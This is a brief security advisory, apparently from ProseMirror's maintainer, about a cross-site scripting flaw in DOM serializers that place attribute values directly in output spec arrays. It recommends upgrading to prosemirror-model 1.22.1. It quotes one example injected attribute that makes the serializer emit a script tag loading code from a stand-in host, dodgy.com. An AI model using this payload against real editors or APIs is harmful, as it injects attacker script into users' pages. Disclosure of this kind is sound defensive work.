This is a warning that a viable cross-site scripting vulnerability has been brought to my attention that some uses of ProseMirror are affected by.
Specifically, if you:
-
Have a node or mark serializer function (
toDOMspec or a function passed toDOMSerializer) that puts a value from an attribute directly in an array used to describe a DOM structure (for examplenode => ["span", node.attrs.label]) -
and don’t fully sanitize these attributes when they are read from JSON (or another source)
-
then it may be possible for a malicious actor so inject an attribute like
attrs: {label: ["script", {src: "//dodgy.com/script.js"}]}or a similar structure into your document via a tampered API request, and trickDOMSerializerinto emitting arbitrary HTML tags, which, when rendered, might inject code into your webpages.
I recommend you upgrade to prosemirror-model 1.22.1 at your earliest convenience. Firstly, this version supports a new attribute configuration field validate, which it is recommended to define for all your attributes, that allows you validate that they are of the shape they should be.
In addition, that version contains ad-hoc code that checks for this precise situation, and will refuse to render DOM output spec arrays that originate in a node or mark’s attributes.
Be safe!